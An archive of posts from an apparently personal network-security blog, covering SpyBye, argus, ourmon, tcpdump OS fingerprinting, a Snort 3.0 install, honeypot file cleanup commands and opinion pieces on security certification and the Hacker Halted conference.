SpyBye

Thanks to Adli who has told me about SpyBye(malwares hunter proxy) which is developed by Niels Provos(Honeyd Guy) where you can find here -

http://www.spybye.org/

Getting it installed is pretty straightforward, I just run it for the first time(I always run the command line with -h, habit sometimes kills :P) -

shell>./spybye -h
./spybye: invalid option -- h
./spybye: [-P] [-p port] [-g good] [-b bad]
-P disable private IP check; allows the proxy to fetch 127/8
-g good_patterns a file or url containing the good patterns
-b bad_patterns a file or url containing the danger patterns
for documentation of all options consult the man page

Starting it up -

shell>/usr/local/stow/spybye-0.2/bin $ ./spybye
SpyBye 0.2 starting up ...
LibClamAV Warning: **************************************************
LibClamAV Warning: *** The virus database is older than 7 days. ***
LibClamAV Warning: *** Please update it IMMEDIATELY! ***
LibClamAV Warning: **************************************************
Loaded 108322 signatures
Virus scanning enabled
Report sharing enabled.
Making connection to www.monkey.org:80 for /~provos/good_patterns
Received 529 bytes from http://www.monkey.org/~provos/good_patterns
Added 30 good patterns
Making connection to www.monkey.org:80 for /~provos/bad_patterns
Received 3332 bytes from http://www.monkey.org/~provos/bad_patterns
Added 205 bad patterns
Starting web server on port 8080
Configure your browser to use this server as proxy.

I configure my browser manually to point to the local proxy, you can do it easily with switchproxy on Firefox and start browsing milw0rm site -

Making connection to 213.150.45.196:80
Received request for http://spybye.org/results/?url=http://www.milw0rm.com
Received request for http://spybye.org/styles/css
Caching 37418 bytes for http://www.milw0rm.com (unknown)
Virus scanned 37418 bytes; result: clean
Received request for http://spybye.org/results/?url=http://www.milw0rm.com
Received request for http://www.milw0rm.com/milw0rm.css (http://www.milw0rm.com/) from 127.0.0.1
Making connection to 213.150.45.196:80
Received request for http://spybye.org/styles/css
Caching 2348 bytes for http://www.milw0rm.com/milw0rm.css (harmless)
Virus scanned 2348 bytes; result: clean
Received request for http://www.milw0rm.com/images/dot.gif (http://www.milw0rm.com/) from 127.0.0.1
Making connection to 213.150.45.196:80
Received request for http://www.milw0rm.com/images/milw0rm-wi.jpg (http://www.milw0rm.com/) from 127.0.0.1
Making connection to 213.150.45.196:80
Received request for http://ypn-js.overture.com/partner/js/ypn.js (http://www.milw0rm.com/) from 127.0.0.1
Making connection to 72.30.33.29:80
Caching 804 bytes for http://www.milw0rm.com/images/dot.gif (harmless)
Virus scanned 804 bytes; result: clean
Caching 7038 bytes for http://ypn-js.overture.com/partner/js/ypn.js (unknown)
Received request for http://spybye.org/results/?url=http://www.milw0rm.com
Received request for http://spybye.org/styles/css
Virus scanned 7038 bytes; result: clean
Received request for http://ypn-js.overture.com/d/search/p/ypn/jsads/?Partner=9308575640&adwd=468&adht=60&ctxtUrl=http%3A//spybye.org/%3Furl%3Dwww.milw0rm.com&bg=000000&bc=000000&cc=141414&lc=00c000&tc=FFFFFF&uc=00c000&du=1&cb=1177662499468 (http://www.milw0rm.com/) from 127.0.0.1
Making connection to 72.30.33.29:80
Caching 2713 bytes for http://ypn-js.overture.com/d/search/p/ypn/jsads/?Partner=9308575640&adwd=468&adht=60&ctxtUrl=http%3A//spybye.org/%3Furl%3Dwww.milw0rm.com&bg=000000&bc=000000&cc=141414&lc=00c000&tc=FFFFFF&uc=00c000&du=1&cb=1177662499468 (unknown)
Virus scanned 2713 bytes; result: clean
Expiring dns entry for ypn-js.overture.com
Received request for http://spybye.org/results/?url=http://www.milw0rm.com
Received request for http://spybye.org/styles/css
Caching 44225 bytes for http://www.milw0rm.com/images/milw0rm-wi.jpg (harmless)
Virus scanned 44225 bytes; result: clean

Interesting as it is reported as clean but relying on clamAV is actually not a perfect solution but it is the only Open Source Antivirus Software available, I have many malwares that collected from my nepenthes honeypot and seems not be able to recognized as malwares though. Anyway spybye is pretty interesting piece and you should use it if you suspect that your site contains malwares. It can be used as quick examination tools.

If you are interested to know what Niels has done including his contributions, check out -

http://www.citi.umich.edu/u/provos/

Enjoy ;]

raWPacket Sig and .....

The site is not online yet but hopefully soon, I'm currently working with few guys to get this site up and running, the purpose of it is to create the signatures repository for "not so popular or well known" network security tools such as tcpxtract, pads and fl0p(this is the current three in my mind), and providing signatures update for them. Hopefully with this kind of effort we can increase the momentum of the tools usages.

When the site goes live, anyone are free to contribute the signatures and we won't overtake the signature ownership from you, credit is for sure.

If you have some inhouse signatures that you have written previously and they are not bounced to any legal restriction, I do wish you share it out with the community. All the signatures will be included into the raWPacket LiveCD so that any analyst can easily access to them and performing the analysis process directly.

It seems I'm trying to deliver full suite of utilities(LiveCD, Books) for network security analyst and yes I'm. I promise I will built the CD/DVD that contains pcap data from OpenPacket once it goes live too so that anyone is free to learn all the network data with the tools in the LiveCD and Network Security Analyzt Handbook as reference that comes along.

More to come but I'm tire now .....

Enjoy ;]

Network Forensic Chart

I have came across the chart below when reading the article -

http://www.sandstorm.net/support/netintercept/downloads/ni-ieee.pdf

The chart illustrates what kind of information and data that you can obtained via network centric log(pcap). The breakdown shows clearly all forms of data that can be extracted when performing network forensics, this can give very clear view for people who want to learn more about the network forensics. It doesn't actually reflect the real world foo(data can be transfered via icmp and etc) however it does deliver the idea.

The chart says it all .....

What are the open source tools that can be used to performed network forensics?
- tcpXtract
- tcpflow
- chaosreader
- dataecho

Others that I can't think of now .....

Cheers ;]

Hacker Halted?

Again my friend sent me another interesting link regarding the event for cyber security industry in Malaysia. I think I should keep track of news in the star tech starting from now.

http://star-techcentral.com/tech/story.asp?file=/2007/5/1/technology/20070501101945&sec=technology

Malaysia needs more ethical hackers?
Unless you are talking about selling CEH training .....

But a capable IT security professional should also know how a hacker thinks

This is totally insane!!!!! Hacking is not something that can be learned through the training course unless it is delivered to someone who already has prior experience. Another questionable reason is that lots of CEH trainers are not from the hacker community and background, lots of them are just started learning about hacking from the course and passing the exam and get the license to be the CEH instructor, thus they themselves are not hackers and don't even know how hacker thinks, all they know are from the CEH training materials.

"When a professional is certified as an ethical hacker, it shows he knows what he's doing and that would definitely give an employer more assurance (of the professional's skills,"

Is this for real, I still recalled myself what was happening at the previous Hacker Halted Conference in Malaysia. He or she may give employer trouble too .....

According to EC-Council, IT security professionals should have practical experience with hacking but this should not involve illegal acts, of course.
Practical experience doesn't mean playing with all the windows hacking tools either. It's better to play with your toys or dolls then and you won't end up getting caught into jail.

People often misunderstand the meaning of the phrase "ethical hacking," said Sanjay Bavasi, president of the EC-Council. "In this context, it does not refer to the ethics of a person but to the processes and methods used in a hack," he said.
The context is cool enough as it creates pretty high confuse level, the processes and methods used in the hacks determine the person instead of the contrary and this can be taught!

"Since the concept is new, ECCouncil is often criticised for promoting 'legalised' hacking, but ethical hacking is necessary in security,"
This is nothing new.

For more information, you can check out the KL event at -

http://www.hackerhalted.com/

And if you are interested in their CTF event -
The hacking competition is open to all Malaysians and students of any nationality studying in Malaysia during the course of the competition. All entrants must register, receive acceptance of their registration from the organising committee and pay the registration fee of US$5000.

WOW 5000 US Dollar and you must sign the agreement to participate to the game, I thought this is a joke(affordable for students?????). I rather use that money to pay for my down payment when I buy a house.

Coincidentally their logo looks similar to HITB logo which is using a box as the symbol.

Seriously I don't see any interesting hackers in the speakers list. I don't think the intention behind this conference is to create awareness or motivate IT security processional to overcome potential threats or invasions into their systems but more on .....

Hacker Halted, sorry and there's no way to stop the hackers .....

Peace ;]

World Map: Incidents

All these are interesting in comparison -

http://www.caida.org/publications/animations/

http://isc.sans.org/countryreport.html

http://atlas.arbor.net/worldmap/index

http://ids.surfnet.nl/wiki/doku.php?id=files:screenshots_1.04

http://www.globalincidentmap.com/home.php

Just for fun .....

Enjoy :]

Spammer: Love

It seems spammer would like to show some loves to me!!!!!

Beloved .....

Cheers ;]

linguistics

It is pretty enjoyable when reading the articles that written by Don Parker. I just came across this article that written by him lately and I think people who want to be network security analyst should read it.

http://www.securityfocus.com/columnists/443/

Don has pointed that passing the exam and writing practical paper by doing the real work are two things, that's definitely true as exam itself won't actually test the full set of skills that required to be efficient network security analyst. I have met a lot of people who getting a lot of certifications for the sake of employment and better pay. They forget the real meat to live in security industry should be the passionate, curiosity and continuously pursue the necessary knowledge. Remember security evolves over time.

I myself don't hold any GIAC certification thus I really have not much comments on that, what I would like to emphasize here should be the knowledge that must be acquired by network security analyst instead. To be a decent network security analyst(I still learn to be one), you must understand network protocols very well especially those widely used such as tcp, udp, icmp and such. Other than that, you must arm with at least one or two scripting languages to simplify your tasks as well as dealing with tricky incidents. Understanding the technologies such as firewall, intrusion detection/prevention system are important too but you may notice that if you don't have strong networking knowledge, you will have hard time understanding those technologies.

I won't be discussing further about all the necessary knowledges that are needed to be network security analyst, those will be written in my book in network security analyst: roadmap section so hopefully my knowledge sharing would help those wannabe.

So what you speak? I guess I speak hex most of the time.

Enjoy ;]

OpenBSD 4.1 Released

It's OpenBSD joy again, version 4.1 is just released and you can check out all the details here -

http://www.openbsd.org/41.html

I plan to upgrade my box to 4.1 by following the guide -

http://www.openbsd.org/41.html#upgrade

Various new packages such as OpenOffice are available. It's time to test out all the new features when possible!

Cheers :]

Deleting zer0 size files & Renaming files with '-' prefix

I didn't notice that my research honeypot has its partition full when collecting malwares, hence it generates a lot of malware files with 0 size as there's no room for it. Since I have all of them collected under /var/nepenthes/binaries, I just execute the command below to delete all of the files with 0 size -

shell>cd /var/nepenthes/binaries

shell>find ./ -type f -size 0 -exec rm -rf '{}' \; -print

Then I list the all the files again -

shell>ls -la
total 808
drwxr-xr-x 2 root wheel 3584 May 4 19:49 .
drwxr-xr-x 7 root wheel 512 Jan 28 22:46 ..
-rw-r--r-- 1 root wheel 48808 Jan 29 20:31 06b6cd8fc0333df6a96a66910f0a285d
-rw-r--r-- 1 root wheel 8192 Jan 29 23:43 314b889b16b11886656c901656ffa847
-rw-r--r-- 1 root wheel 8192 Feb 1 20:05 579ab2f7e55c8ddc074603b82bb73ee4
-rw-r--r-- 1 root wheel 64464 May 4 19:49 6df903d10f7ad3ad688d90dba9380d3c
-rw-r--r-- 1 root wheel 58325 Jan 29 17:28 703a8118b285f85622db82e7350c16da
-rw-r--r-- 1 root wheel 40884 May 4 19:46 706e697ed520cc32027a525a645be1dd
-rw-r--r-- 1 root wheel 8192 Feb 1 05:54 a2628d55e482fac6448801187c0ce836
-rw-r--r-- 1 root wheel 158720 Jan 29 19:42 a4ed429c882f382b994b0860c5a9ced2
-rw-r--r-- 1 root wheel 8192 Feb 2 11:52 bc6595eff1398227ab0d4aa13acc20f4

I think I will need to write a script to automate the process, by moving all the files under this directory to another partition when /var partition is full or else I will need to do it manually which wasting my time.

Sometimes it is fun to poke with shell commands especially dealing a tricky one, to rename all the files in the directory with the prefix of '-' so that '-' get discarded, you can try the command below.

shell>for i in `ls -la | awk '{ print $9 }' | grep '^-.*'`; \
do mv -- $i `echo $i | cut -f 2 -d '-'`; done

I was asked about how to do this and think the commands crafted above should do the job. Have fun.

Peace ;]

TCPdump: Privilege Dropping & Passive OS Fingerprinting

I never really notice about this until today, I think OpenBSD has done a lot of modifications on tcpdump, privilege dropping is just one of the feature, you can check out all the change logs of OpenBSD to date here -

http://www.openbsd.org/plus41.html

In fact you navigate on the changes from Release to Release, searching for tcpdump keyword and you may find what were improved and fixed.

Another interesting feature is passive operating system fingerprinting is built into pf and tcpdump(both ipv4 and ipv6 wise), you can now turn it on by using -o option in tcpdump -

shell>tcpdump -o -nni em0
01:57:33.265112 211.75.232.180.54452 > 1.2.3.4.25: S (src OS: unknown) 1591369098:1591369098(0) win 5840 (DF)
01:57:38.819585 89.1.209.9.4723 > 1.2.3.4.25: S (src OS: Windows XP SP1, Windows 2000 SP4) 2701955957:2701955957(0) win 65535 (DF)
01:57:41.343984 89.1.209.9.2506 > 1.2.3.4.25: S (src OS: Windows XP SP1, Windows 2000 SP4) 360732020:360732020(0) win 65535 (DF)
01:57:44.057512 201.244.249.179.3015 > 1.2.3.4.25: S (src OS: Windows XP SP1, Windows 2000 SP4) 645056554:645056554(0) win 65535 (DF)
01:57:44.342456 89.1.209.9.2506 > 1.2.3.4.25: S (src OS: Windows XP SP1, Windows 2000 SP4) 360732020:360732020(0) win 65535 (DF)
01:57:44.438020 89.1.209.9.1479 > 1.2.3.4.25: S (src OS: Windows XP SP1, Windows 2000 SP4) 416546610:416546610(0) win 65535 (DF)
01:58:03.762505 202.74.217.6.1713 > 1.2.3.4.25: S (src OS: Windows 2000 RFC1323, Windows XP RFC1323) 478012651:478012651(0) win 65535 (DF)

It is making use of p0f database but only perform the fingerprinting on tcp packet with syn flag set(In fact p0f is more powerful as it works with packets with other flags as well). Anyway tcpdump should be able to give you a quick glance of the remote operating sytem that trying to probe to you.

Kudos to OpenBSD team about it. By the way, I bet you all can't wait for this -

http://www.openbsd.org/41.html

Peace ;]

Open Source Compatible Handheld Device

I haven't bought any handheld device(handphone not counted), interestingly my friend sent me this link, and I start to think maybe I need one of these toy -

http://www.handhelds.org/moin/moin.cgi/SupportedHandheldSummary

If you know any reference regarding handheld devices that are OSS compatible, please do let me know. Thanks.

Cheers ;]

NetSecAnalyst: The Handbook

Yeah, there are people asking me about the progress of my book - Network Security Analyst: The Handbook.

My initial idea is to have all my blog posts regarding usages of network security tools to be included and packaged into the book, but I realize that this won't make it a good book for Network Security Analyst. I have more thoughts about the book lately hence I can't have it shipped sooner. There are four primary sections for the book which I think very important for network security analyst wannabe -

Network Security Analyst: The RoadMap
What are good foundations and technical knowledge that should be acquired to become good network security analyst? I hope The RoadMap can answer question like that, until now I haven 't seen any books discussing about this topic yet.

Network Security Analyst: The WorkFlows
What are the methodologies and mechanisms that are used by network security analyst to handle their tasks? The routine daily tasks, the automated and manual process of performing analysis, situation handling and so forth.

This is more of how to think or work like a network security analyst. I will try to standardize the common work flows but you are free to extend it to your own way.

Network Security Analyst: The Tools
What are the tools that are commonly used by Network Security Analyst and how they use them? I believe this part should be demonstrating the NSM based tools usage, one should understand this is not the real meat of network security analyst, this is more of helper section to show various examples in using the network security tools. This section will usually be updated as I will import it from my blog and modify it to be more organized and readable. I suggest you read this book to get yourself ready when comes to using most of network security tools -

http://www.awprofessional.com/bookstore/product.asp?isbn=0321246772&rl=1

I truly believe that learning to use tools itself won't make you a good analyst, the right thing to do should be study on how to interpret the results that generated by the tools, this is always not been emphasized but I would see most of analysts will agree with me.

Network Security Analyst: The Case Study
How Network Security Analyst handles the (Intrusion/Extrusion)incidents in real world?

This will load up few incident scenarios and how Network Security Analyst starts his analysis process, examination, escalation and confirmation to decision making. This will make a good round up of what have been studied from previous three sections, and applying it to the real world scenario. One of the site that I suggest you look at should be -

http://www.honeynet.org/misc/chall.html

There are many challenges offered by honeynet community, knowledge sharing is always interesting.

I think this is the final layout for my handbook, hopefully I won't dream of any new ideas for the book again -

Sec 1 - Net Sec Analyst: The RoadMap
Sec 2 - Net Sec Analyst: The Workflows
Sec 3 - Net Sec Analyst: The Tools
Sec 4 - Net Sec Analyst: The Case Study

All the sections are actually correlated, everyone are welcomed to give me suggestions and inputs, what do you think? I don't have skill to write, but no one can stop me from writing anyway.

P/S: For the book, ayoi will be one of the contributor. I would love to spare my time to develop Network Security Analyst LiveCD(we called it raWPacket LiveCD) using freesbie and ship it together with the release of the book, time is always constraint. However I'm glad that I have chfl4gs with me now in developing the liveCD. Stay tuned!!!!!

Btw, I'm looking for non-paid editor(this is free ebook) as I don't know good english. If you would like to help, please let me know.

Peace (;])

Argus: Passive FTP Data Channel Extraction

When dealing with passive ftp instead of active ftp, I used to examine the network traffics manually especially to reconstruct all the data channels as it initials ephemeral ports(usually ports > 1024) for both client and server end dynamically and not like active ftp where fix port(20) is used at server side. After looking into how passive ftp actually works(for both over ipv4 and ipv6 and ftp server implementations), I decided to write a bash shell script to extract all the passive ftp data channel for the ftp flow from argus data. Again if you read my paper that I have used argus for botnet detection, this shell script will make use of argus client tools - ragrep again to extract all the necessary flow and its associated data channel. Here's the interesting result when I execute my script - argus-PASVFTP.sh.

IPv4 Illustration
shell>./argus-PASVFTP.sh
Input your argus data file, specify absolute path!
/home/geek00l/i-Pcaps/ipv4-ftp.arg
SrcAddr|Sport|DstAddr|Dport
192.168.0.24|49971|210.171.226.46|21
192.168.0.24|35839|210.171.226.46|21
Please specify source and destination IP and source PORT to locate associated passive ftp data channel .....
1. Source IP
192.168.0.24
2. Destination IP
210.171.226.46
3. Source Port
49971

Passive FTP Data Channel
61703
64897

Gotcha, here's the ftp data channel that being announced by ftp server for client to connect to - 61703 and 64897.

IPv6 Illustration
shell>./argus-PASVFTP.sh
Input your argus data file, specify absolute path!
/home/geek00l/i-Pcaps/ipv6.test.1.arg
SrcAddr|Sport|DstAddr|Dport
2001:5c0:925d:0:204:5aff:fe79:43a7|57339|2001:6c8:6:4::7|21
Please specify source and destination IP and source PORT to locate associated passive ftp data channel .....
1. Source IP
2001:5c0:925d:0:204:5aff:fe79:43a7
2. Destination IP
2001:6c8:6:4::7
3. Source Port
57339

Passive FTP Data Channel
64534
60801
60199

Works on ftp over IPv6 too, the ftp data channels are 64534, 60801 and 60199.

You can now running argus client tool(ra) to locate all the passive ftp flows by filtering those ports. Though I have only tested this script on FreeBSD and Gentoo Linux, it should work on other *nixes platform flawlessly as long as you have bash shell and argus clients installed. Again here I demonstrate the interesting example of using argus client tools.

Thanks to Richard for his ipv6 pcap file that he has sent me or else I won't be able to examine ftp over IPv6 lately.

I plan to include this script in the liveCD that we(me and chfl4gs) are developing actively, if any of you are interested to have fun with the script, feel free to let me know.

Enjoy (;])

linux.byexamples.com

Yes, I advocate open source. I support anyone who really want to push on open source stuffs. But I'm not doing enough as I don't involve in open source development or coding part. But do you really need to be almighty programmer in order to involve in open source movement? I bet not, there are many ways to promote open source. I believe every little piece of support and effort is important, whether you are testing the software, submit bug, writing documentation or etc.

My friend surface took different approach, he decided to promote open source usage by examples, and now it seems the site growing and there are many tips and tricks that are very useful. You can check it out at -

http://linux.byexamples.com/

I'm surprised when I see this site too -

http://www.byexamples.com/

Well done, surface! May the force be with you!!!!!

Cheers ;]

Argus: Practical BotNet Detection

I use argus for my daily task, like I mentioned argus client tools are easy to use but hard to master, it is trivial to work with it sometimes. However I believe experience may make you wiser when dealing with complex tools, I really appreciate Hanashi's work on BIRT for sguil report generation. As Hanashi is working on sancp session data, I'm more of looking into argus flow data. Here's very short paper that I have written in using argus client tools(ragrep and radump) to perform botnet detection.

http://www.rawpacket.org/anonymous/argusR/Argus-PracticalBotNetDetection.pdf

The reason why I don't want to post this in blog because it may look cluttered, I welcome any feedbacks and idea about this short paper.

Enjoy ;]

FreeBSD: Ourmon 2.7

I'm looking into ourmon as it seems to be very powerful tool when building network baselining, anomaly detection and so forth, I have found that there's ourmon port available on FreeBSD which is version 2.5, after looking around with google. I got to know that Ourmon developers have updated the ourmon port for FreeBSD to version 2.7, since I don't want to touch anything on port as I'm using release for the moment and I'm lazy, I decide to download the port manually where you can find here -

http://jerry.cat.pdx.edu/ourmon/distros/fbsd.port.27/

To download it -

shell>mkdir /usr/ports/net-mgmt/ourmon27

shell>cd /usr/ports/net-mgmt/ourmon27

shell>wget -r -nH -nd -np http://jerry.cat.pdx.edu/ourmon/distros/fbsd.port.27/

shell>rm -rf index.*

I have put everything under /usr/ports/net-mgmt/ourmon27, and run -

shell>make install

Everything is built properly, and it comes to this configuration part -

Next we determine the ourmon config/filter file to use. By default, we use the local /usr/local/mrourmon/etc/ourmon.conf to provide input filters to ourmon.
WARNING: you should read/edit/understand ourmon.conf!
Do you want to use another ourmon.conf file in some other directory than /usr/local/mrourmon/etc? [n]

Next we suggest one modification to the ourmon.conf file.

If this is a default install, you should change the following config directive:

topn_syn_homeip network/netmask

and set it to your home network and mask (A.B.C.D/maskbits style)
Do you want to change the topn_syn home network address? [y] y
note: the home net address may be a subnet or host address (/32).
enter a home net address and mask. [127.0.0.1/32] 192.168.0.0/24
netmask: 192.168.0.0/24

Do you want to install the ourmon startup script in the ourmon bin? [y]
WARNING: the default for the interface may not be what you want.
WARNING: use #ifconfig -a to determine interfaces.
Please enter the input interface name to sniff from: [xl0]
input interface is xl0

Please enter directory for probe output files (mon.lite, etc.): [/usr/local/mrourmon/tmp]
probe output directory name is: /usr/local/mrourmon/tmp

Creating bin/ourmon.sh driver for startup of ourmon.
ourmon.sh placed in ourmon bin for ourmon front-end/probe startup
./ourmon.sh start

copy the startup script (bin/ourmon.sh) to /usr/local/etc/rc.d for boot startup? [y] y
ourmon front-end install complete
ourmon front-end build worked

You should now run /usr/local/mrourmon/bin/ourmon.sh to start ourmon

e.g., # /usr/local/mrourmon/bin/ourmon.sh start

You can use ourmon.sh stop to stop ourmon

part 2: install the back-end, omupdate.pl, etc. (web part)? [y]
Back-end configuration phase started ######################################
We need a local web directory for generated web output.
hint: the webpath given here is a guess: give the CORRECT base web directory with /ourmon at the end
enter absolute web server web path directory: [/usr/local/www/data/ourmon]
your output web path is: /usr/local/www/data/ourmon

Do you want to create the web directory for ourmon?
HINT: good idea if it doesn't exist. [y]
cp bard/* /usr/local/www/data/ourmon/bard
cp batchip.sh batchipall.sh omupdate.sh /usr/local/mrourmon/bin
cp ombatch*.pl wormtolog.pl daily.pl monbackup.pl /usr/local/mrourmon/bin
cp omupdate.pl tcpworm.pl irc.pl topipa.pl /usr/local/mrourmon/bin
cp mklogdir.sh /usr/local/mrourmon/bin
chmod +x /usr/local/mrourmon/bin/*.sh
chmod +x /usr/local/mrourmon/bin/*.pl

INFO only: also setting up logging directory (if needed)
creating log rrddata tmp dirs in /usr/local/mrourmon
hit CR to continue:

If different, enter front-end output file directory absolute path: [/usr/local/mrourmon/tmp]
probe output file path (back-end input/s) is /usr/local/mrourmon/tmp

Now we copy supplied .html files to the web directory for later editing
do you want to copy base web files to the web directory? [y]

INFO only: setting up local rrdbase directory at /usr/local/mrourmon/rrddata
your runtime rrds get stored in this directory, along with the rrd error log file
if you create new BPF filters, check rrdbase/ourmon.log for errors.
hit CR to continue:

We need a UDP weight threshold for UDP scan alerts
what should the weight be (default is given): [10000000]

Install backend crontab commands in /etc/crontab (default answer y)?: [y]
y

ourmon system config complete
see INSTALL for post-config sanity checking
Ourmon is installed in /usr/local

For the FreeBSD port, we assume

/usr/local/mrourmon

is the base directory, although that can be overridden with the port Makefile.

Read the INSTALL file in the ourmon base directory.
**************************************************

If you want to uninstall ourmon, read "uninstall.txt" in the base directory.

Be sure and inspect and modify the basic config file, at /usr/local/mrourmon/etc/ourmon.conf. In particular set the notion of topn_syn home IP in the config file

topn_syn_homeip 10.1.0.0/16

to your home subnet and netmask. If you are installing
ourmon to watch a host you can put in a slash 32
address like 10.1.2.3/32

After setting the config file up properly, in order to start the front-end probe process, named "ourmon", you must cd to the base directory and run the ourmon probe from the start shellscript.

# cd /usr/local/mrourmon/bin
# ./ourmon.sh start

===> Registering installation for ourmon-2.7

shell>pkg_info | grep ourmon
ourmon-2.7 A libpcap-based network monitoring and anomaly detection sy

shell>cd /usr/local/mrourmon/bin

shell>./ourmon.sh start
net.bpf.bufsize: 4096 -> 8388608
net.bpf.maxbufsize: 524288 -> 8388608
warning: ourmon: xl0: no IPv4 address assigned

shell>ps auxww | grep ourmon
root 12359 0.0 0.4 1708 976 ?? Is 6:25PM 0:00.01 /bin/sh -c /usr/local/mrourmon/bin/omupdate.sh
root 12361 0.0 0.4 1716 988 ?? S 6:25PM 0:00.02 /bin/sh /usr/local/mrourmon/bin/omupdate.sh
root 12411 0.0 3.0 16088 7620 p6 S 6:25PM 0:00.06 /usr/local/mrourmon/bin/ourmon -a 30 -s 256 -f /usr/local/mrourmon/etc/ourmon.conf -i xl0 -D /usr/local/mrourmon/tmp

Now I have ourmon running, this is pretty simple setup as I don't even look at the web setup, I'm looking forward to tune on the bpf and other related configurations when I have time to look into it.

In fact one of the good reason why I look at ourmon is because I want to make the comparison between ourmon and argus as both are open source based and maybe able to construct the similar idea using argus instead as it is currently heavily used by me. Seriously I would love if someone who have good experience with arbor and other commercial products that doing network flow analysis can tell me more about it since I have no chance to use them.

Anyway I plan to buy this book as it's the only book that introducing ourmon -

http://www.amazon.co.uk/Botnets-Killer-Applications-Craig-Schiller/dp/1597491357

Thanks to Kamal who has pointed me about this entry in wormblog which looks interesting too -

http://www.wormblog.com/2006/08/detecting_worms.html

Cheers (;])

Ragraph - DNS Graph

This is for my own note as I can't really remember everything in argus. It is definitely a beast as it needs some tinkering to fully understand how it works and getting the output you need. Anyway I just blog it here in case someone interested.

Ragraph is one of argus clients to create graph out of argus data, in fact argus comes with a lot of client tools that are very powerful, all the client tools are easy to use but hard to master. The 'Hard to Master' part really kills a lot of people including me.

Here's the graph that showing dns traffics, for both source and destination bytes. You may notice that changing the time mode makes huge different. The first graph with -M 1s shows the data in second and therefore it looks more detail, the second graph is generated using -M 1m which is 1 minute and therefore it looks more coarser as it spans to 1 minute time data. I first saw this kind of graph generated in argus site and not really understand it until I tried it myself.

shell>ragraph bytes -M 1s -fill -stack -r argus-test.arg - udp and port 53


shell>ragraph bytes -M 1m -fill -stack -r argus-test.arg - udp and port 53

I used -fill so that it won't fill the color for the data area, this make it like a line graph and I prefer it to be displayed that way.

Enjoy ;]

Windows - Sec & User Tools

There are few tools that I would like to try out but it is only available on Windows platform. Guess I need to install Windows in VMware for testing. I haven't really touch anything on Windows lately except for Windows Server 2003. Anyway here are the lists of tools that seems to be interesting to me -

- Winfingerprint

- Showtraf

- Proconvert

- Dataecho

- Liveview

- Sipp

- DaD

- Inferno

- Pedorosa

- Console

- Launchy

- VirtualWin

- EmergeDesktop

- Mewa

I'm not promoting Windows OS here, but most of the tools here are freely available and open source and it makes no harm to try them out. Anyway if you have experiences in any of these tools, I would like to hear some feedbacks from you as I'm in the lazy moods to try them out.

Cheers ;]

NSM - The History

Yes, this is not what I write, in fact I have stolen the post from taosecurity.blogspot.com.

Read it up ->>>>>

http://taosecurity.blogspot.com/2007/04/network-security-monitoring-history.html

I would love to know the background of the technology that I live with all the while. I bet you will find it informative and understand more about Network Security Monitoring.

Enjoy ;]

Welcome to Malaysia Botnets

http://star-techcentral.com/tech/story.asp?file=/2007/4/10/technology/17373874&sec=technology

Thanks to my friend who has sent me this link, it is about the survey that has been done by Symantec Malaysia. It has stated that 96% of the computers are zombies. I'm wondering whether they are trying to generate fears so that more people will buy their anti-virus solution or this is true, I'm probably happy to see we are top 7 in the list since that really shows Malaysia Can spirit.

Another interesting result from them should be 84 percent of emails from Malaysia are classified as spam, I'm really curious of how they are able to identify this portion as there's no perfect solution to identify or classify email with unsolicited intentions. Plus they are actually setting up decoy emails(honeypot alike) for this kind of identification which I don't think it can be any accurate.

"This and the high number of zombie machines in Malaysia is tarnishing the country's image". This is way too much of emphasizes, they are playing a big blames on the users, and most of the users not even know what is happening out there. They are just using the internet for surfing, doing some transactions and so forth.

"It said copies of pirated software sometimes contained trojans and other hidden malicious programs, and these are surreptitiously planted into computer systems when users installed the software". This is not the case, in my opinion as most of the users in Malaysia are using pirated softwares, it leads to a more of vulnerabilities in the applications softwares and operating systems itself as they can't patch it since they are not using the licensed or commercial version. That's what most malicious attackers targeting over the networks instead of just distribute it via the softwares/pirated CD that they buy which is more of blind attacks.

"An antivirus program is not enough, said Symantec. Users need a security solution that combines antivirus, firewall and intrusion detection capabilities". Okay, it is still back to the marketing sense, I expected that. But the truth is users are still vulnerable even with all those solutions been utilized, malicious attackers are way smarter to bypass most of them. You are trying to reduce the risk for users, however that won't work once internet browsers itself becoming victim as well. Combining with some social engineering tricks, users tend to be fooled without them knowing. And some of them just gotcha from USB thumb drives.

"Computer users should also be careful about disclosing confidential, personal or financial information online unless they know that the request for such is legitimate, cautioned Symantec". I doubt users will listen to this, this reminds me the presentation from Mikko - Education usually won't work.

Enough rant for now, thanks to Symantec for doing this kind of survey.

Enjoy ;]

Snort 3.0 Pre Alpha

Marty has recently released snort 3.0 pre alpha version, I'm curious to see what has been implemented in it so far, it should be worth to spend some times looking into it. To get snort 3.0 to installed on FreeBSD, it is kind of quicky.


Getting all the dependencies -

shel>pkg_add -vr libdnet

shell>pkg_add -vr lua51

Download snort 3.0 and install -

shell>wget http://www.snort.org/users/roesch/code/snort-03.0.0.a1.4.tar.gz

shell>tar xvzf snort-03.0.0.a1.4.tar.gz

shell>cd snort-03.0.0.a1.4

shell>./configure --prefix=/usr/local/stow/snort-03a14

shell>make && make install

Then copy the configuration files to the prefix directory manually -

shell>cp -fR etc ./usr/local/stow/snort-03a14

Running snort -

shell>cd /usr/local/stow/snort-03a14/bin

shell>./snort
[*] DAQ Modules Loaded...
[*] Loading decoder modules
[+] Loaded ethernet
[+] Loaded null
[+] Loaded arp
[+] Loaded ip
[+] Loaded tcp
[+] Loaded udp
[+] Loaded icmp
[+] Loaded icmp6
[+] Loaded gre
[+] Loaded mpls
[+] Loaded 8021q
[+] Loaded ipv6
[+] Loaded ppp
[+] Loaded pppoe
[+] Loaded raw
[*] Decoder initialized...
[*] Flow manager initialized...
[*] Data source subsystem loaded
[*] Engine manager initialized
[*] Loading command interface
[!] Loading sfips command metatable
[!] Loading data source command metatable
[!] Loading engine command metatable
,,_ -*> Snort! <*- o" )~ Version 03.0.0.a1.4 (Build 7) [PRE-ALPHA] '''' By Martin Roesch & The Snort Team: http://www.snort.org/team.html (C) Copyright 2006 Sourcefire Inc. Load its configuration file and you will get the snort CLI -

> dofile("../etc/snort.lua")
snort>

Looking for helps for the operation of snort 3 system?

snort> sfips.help()
[*] SFIPS Commands:
help()
set_log_level( [debug|info|notice|warn|error|critical] )
shutdown()

Shut it down gracefully

snort> sfips.shutdown()

I suggest you check out other useful functions at -

http://www.snort.org/users/roesch/Site/Snort%203.0.html

There will be some significant changes in snort 3.0 comparing to 2.x, thus it's good to get your hand dirty with it early. Lua scripting language seems to be interesting to learn.

Happy snorting! Oink oink ...

Cheers (;])


HITB SEC CONF 2007 in DUBAI

Finally HITB SEC CONF 2007 in Dubai is over .....

